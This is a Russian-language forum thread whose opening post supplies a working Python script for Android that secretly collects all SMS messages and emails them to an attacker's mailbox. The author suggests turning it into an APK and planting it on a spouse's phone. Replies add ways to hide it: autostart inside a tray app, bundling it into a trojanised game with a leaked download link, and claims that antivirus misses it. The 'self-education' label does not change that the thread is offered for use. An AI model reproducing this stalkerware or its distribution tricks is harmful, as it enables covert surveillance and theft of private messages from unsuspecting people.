Компьютерный форум NoWa.cc Здесь может быть Ваша реклама
Правила Форума
редакция от 22.06.2020
Портал .::2BakSa.WS::.
Вернуться   Компьютерный форум NoWa.cc > Андеграунд - Софт > Мобильный Софт > Android

Уважаемые пользователи nowa.cc и 2baksa.ws. У нас сложилось тяжёлое финансовое положение. Мы работаем для вас вот уже более 15 лет и сейчас вынуждены просить о помощи. Окажите посильную поддержку проектам. Мы очень надеемся на вас. Реквизиты для переводов ниже.
Webmoney Webmoney WMZ: 826074280762 Webmoney WME: 804621616710
PayPal PayPal_Email E-mail для связи по вопросу помощи
Кошелёк для вашей помощи YooMoney 4100117770549562
YooMoney Спасибо за поддержку!
Ответ
 
Опции темы Опции просмотра Language
Старый 21.08.2011, 12:12   #1
time traveler
 
Аватар для ultramarin
 
Пол:Мужской
Регистрация: 12.08.2007
Адрес: Галактика Млечный путь.
Сообщений: 3,685
Репутация: 4694
По умолчанию Скрипт SMS-вор (только для самообразования)

Предлагаю для практики написать скрипт, который соберет все SMS у незадачливого пользователя и отправит их нам на почту.
Код:
# -*- coding: utf-8 -*-
import android, smtplib, os
droid = android.Android()
# Необходимые переменные
mailfrom = "откуда отправлять"
mailto = "куда отправлять"
lines = ""
# получаем сообщения
result = droid.smsGetMessages(False)
# обрабатываем результат и формируем тело письма
for f in result[1]:
    for value in f.values():
        lines = lines+str(value.encode('utf-8'))+ '\n'
print lines
# отсылаем полученные данные на почту
mailSend = smtplib.SMTP("smtp.gmail.com",587)
mailSend.ehlo()
mailSend.starttls()
mailSend.ehlo()
mailSend.login(mailfrom,"пароль от ящика")
mailSend.sendmail(mailfrom, mailto, lines)
mailSend.close()
В переменные mailfrom и mailto нужно забить адреса ящиков, с которых ты будешь отправлять и на которые будешь принимать письма, соответственно. Затем при помощи команды smsGetMessages() забираем сообщения. В качестве параметра ей надо указать, передавать ли только непрочитанные (True), или все сообщения (False). На будущее замечу, что у данной функции также есть и второй, необязательный параметр: inbox (по умолчанию) — из какой папки читать сообщения, в данном случае — входящие. После выполнения в переменную result запишется список, который состоит из списка словарей. Звучит запутанно, поэтому смотри код. Первый список — result, список SMS содержится в первом его элементе, поэтому в дальнейшем я работаю только со списком result[1], в котором каждый элемент — это словарь, а каждый словарь содержит SMS, номер телефона и ID сообщения. Ключи меня не сильно интересуют, поэтому я извлекаю только значения из каждого словаря и записываю их в строку, которая затем будет отправлена по почте. Для отправки по почте в API SL4A есть команда sendEmail(), но она требует участия пользователя, который вряд ли захочет, чтобы его входящие SMS отправились неизвестно кому. Поэтому подключаем smtplib и отправляем письмо самостоятельно. Ты можешь отправить это письмо самому себе или на другой ящик.

Где такой пример может пригодиться? Допустим, ты частный детектив, и очередная ревнивая жена попросила выяснить, что пишут ее мужу юные любовницы. Данный скрипт можно преобразовать в apk-файл, установить в телефон нерадивому супругу, а жене на почту будут приходить все планы будущих прелюбодеяний .

Последний раз редактировалось ultramarin; 21.08.2011 в 12:26..
ultramarin вне форума
 
Ответить с цитированием Вверх
Здесь может быть Ваша реклама
Здесь может быть Ваша реклама


Реклама: сухой маринад brisketKNSneva.ru - гипермаркет электроники предлагает моноблок делл - поставщик техники для дома и бизнеса в Санкт-Петербурге.телохранитель киллера 2 смотретьмосква-кострома теплоходConecte Clio a Thrivecart


Старый 21.01.2012, 21:50   #2
Arenim
Неактивный пользователь
 
Пол:Мужской
Регистрация: 11.05.2007
Сообщений: 8
Репутация: 1
По умолчанию Re: Скрипт SMS-вор (только для самообразования)

Для самообразования, ну конечно....

По существу:

1. Хороший, годный скрипт. Но гораздо более нетривиальный вопрос -- как подсовывать "мужу" этот программный пр'одукт так, чтобы он ничего не спалил. И здесь мне видятся два препятствия:

а). У ревнивого мужа на телефоне, конечно же, стоит пароль. Даже если жена сопрет телефон и будет выполнять наши инструкции -- что делать?
б). У ревнивого мужа наша программа отображается в списке установленных, и у нее в списке разрешений есть запрос чтения СМС. Как это можно объяснить/нивелировать/скрыть?
Arenim вне форума
 
Ответить с цитированием Вверх
Старый 22.01.2012, 19:40   #3
Dimix
Пользователь
 
Пол:Мужской
Регистрация: 04.12.2006
Сообщений: 48
Репутация: 8
По умолчанию Re: Скрипт SMS-вор (только для самообразования)

Спасибо. Очень занимательно

Цитата:
Сообщение от Arenim Посмотреть сообщение
. Хороший, годный скрипт. Но гораздо более нетривиальный вопрос -- как подсовывать "мужу" этот программный пр'одукт так, чтобы он ничего не спалил. И здесь мне видятся два препятствия:

Самый глупый вопрос. Прописать запуск через ярлык часто используемой программы.
__________________
много разной техники...-->Glofiish x800+Hp iPAQ hx2110

Последний раз редактировалось ultramarin; 24.10.2012 в 08:20..
Dimix вне форума
 
Ответить с цитированием Вверх
Старый 23.01.2012, 07:24   #4
ultramarin
time traveler
 
Аватар для ultramarin
 
Пол:Мужской
Регистрация: 12.08.2007
Адрес: Галактика Млечный путь.
Сообщений: 3,685
Репутация: 4694
По умолчанию Re: Скрипт SMS-вор (только для самообразования)

Цитата:
Сообщение от Dimix Посмотреть сообщение
прописать запуск через ярлык часто используемой программы

Этот вариант не совсем работоспособен, но можно и так.
Я зашивал этот скрипт в программу которая висит в трее постоянно и которая автоматически стартует при запуске устройства. (пример allkiller)
ultramarin вне форума
 
Ответить с цитированием Вверх
Старый 23.01.2012, 20:34   #5
Arenim
Неактивный пользователь
 
Пол:Мужской
Регистрация: 11.05.2007
Сообщений: 8
Репутация: 1
По умолчанию Re: Скрипт SMS-вор (только для самообразования)

Код:
Самый глупый вопрос. прописать запуск через ярлык часто используемой программы.
Мне это напомнило одну сюрреалистическую статью в "Хакере" про то, как взламывать сервера. За точность цытаты не ручаюсь, но смысл -- гарантирую.

Статья на 5 страниц. Парни аффторитетна рассказывают, как ломать игровые сервера. Первым абзацем: "Игровой сервер надо перво-наперво рутануть, вы сами знаете как". А потом на 5 страницах рассказывают, что можно сделать с чужим сервером, получив на нем рутовый доступ. Ха-ха! Уж будто я сам не догадаюсь.

Это я про то, что если мы действуем в предположении, что нам дадут девайс подержать в руках и понастраивать, то все понятно. Вопрос -- что делать, если девайса в руки не дают.
Arenim вне форума
 
Ответить с цитированием Вверх
Старый 24.10.2012, 08:21   #6
ultramarin
time traveler
 
Аватар для ultramarin
 
Пол:Мужской
Регистрация: 12.08.2007
Адрес: Галактика Млечный путь.
Сообщений: 3,685
Репутация: 4694
По умолчанию Re: Скрипт SMS-вор (только для самообразования)

Цитата:
Сообщение от Arenim Посмотреть сообщение
Вопрос -- что делать, если девайса в руки не дают.

Если не дают, то видимо плохо просите...
Чем унижаться и просить лучше взять и промолчать...
ultramarin вне форума
 
Ответить с цитированием Вверх
Старый 10.11.2012, 02:32   #7
BeeBeep
Новичок
 
Пол:Мужской
Регистрация: 10.11.2012
Сообщений: 11
Репутация: 0
По умолчанию Re: Скрипт SMS-вор (только для самообразования)

Вопрос, как на этот скрипт отреагируют антивирусники?
BeeBeep вне форума
 
Ответить с цитированием Вверх
Старый 23.11.2012, 11:30   #8
rudenoka
Новичок
 
Пол:Мужской
Регистрация: 27.10.2009
Сообщений: 1
Репутация: 0
По умолчанию Re: Скрипт SMS-вор (только для самообразования)

видимо никто не знает, если молчат.
rudenoka вне форума
 
Ответить с цитированием Вверх
Старый 24.11.2012, 11:29   #9
ultramarin
time traveler
 
Аватар для ultramarin
 
Пол:Мужской
Регистрация: 12.08.2007
Адрес: Галактика Млечный путь.
Сообщений: 3,685
Репутация: 4694
По умолчанию Re: Скрипт SMS-вор (только для самообразования)

Цитата:
Сообщение от BeeBeep Посмотреть сообщение
Вопрос, как на этот скрипт отреагируют антивирусники?

Никак - молчат.

Цитата:
Сообщение от rudenoka Посмотреть сообщение
видимо никто не знает, если молчат.

Видимо кто-то не разбирается в принципах работы OS Android и в языках программирования в том числе и в написании скриптов... И видимо никто не знает о криптографии.
ultramarin вне форума
 
Ответить с цитированием Вверх
Старый 04.12.2012, 01:20   #10
Andy St
Новичок
 
Пол:Мужской
Регистрация: 28.11.2012
Сообщений: 4
Репутация: 1
По умолчанию Re: Скрипт SMS-вор (только для самообразования)

как всучить юзеру такое? да очень просто .. нагуглить какой нить секс-тетрис (мп3 финдер и т.д. короче по интересам ;)) ... и дописать туда
этот кусок .. при запуске ... и случайно засветить ссылку ;) ..
__________________
реклама запрещена
Andy St вне форума
 
Ответить с цитированием Вверх
Старый 18.01.2013, 16:34   #11
skysand
Неактивный пользователь
 
Пол:Мужской
Регистрация: 15.06.2008
Адрес: VKO
Сообщений: 25
Репутация: 68
По умолчанию Re: Скрипт SMS-вор (только для самообразования)

Коллеги и "господа"! Работаю в сотовой компании и имею самое непосредственное отношение к сети. Читаю "рекламы" от особо продвинутых "хакеров" и истерически хохочу. По их мнению, у нас работают полные дебилы, которые даже не подозревают, что с помощью каких то "хитрозадых" программ можно влегкую зайти на любой контроллер сети, считать инфу с коммутатора, посетить "святой" сервер "ААА" и без труда скопировать все сообщения с сервера СМС и ММС!
Вариант с программами, которые вместо ПО телефона что то там копируют и не зависимо от операционки управляют отправкой инфы на "секретный" номер вообще не выдерживают какой либо критики. ПО телефона нервно курит за сортиром, пока хитрая программа, вместо ПО поддерживает все железо телефона и что то там передает!
Если у Вас есть лишние деньги, можете тестировать отправку СМС с их сайта, и даже текст они Вам покажут. Но все остальное - только после оплаты.
"На дурака не нужен нож,
ему с три короба наврешь,
и делай с ним что хошь"(С) Буратинно
skysand вне форума
 
Ответить с цитированием Вверх
Ответ


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ищу софт для ресивера (Только запросы, ссылки на софт кидать только в личку) klig Ресиверы и всё о них 211 07.08.2014 08:58
не работает лог скрипт VaskoCuturil Windows 200x Server 6 06.12.2010 12:46
Что выполняет скрипт? city21 UNIX, Linux, MacOs для PC и другие ОС 1 30.11.2010 09:49
Требуется скрипт (только на PHP) Jura777 PHP 6 04.08.2007 21:12

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Текущее время: 10:27. Часовой пояс GMT +3.


Copyright ©2004 - 2024 2BakSa.WS

Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2024, vBulletin Solutions, Inc. Перевод: zCarot
Время генерации страницы 0.18393 секунды с 11 запросами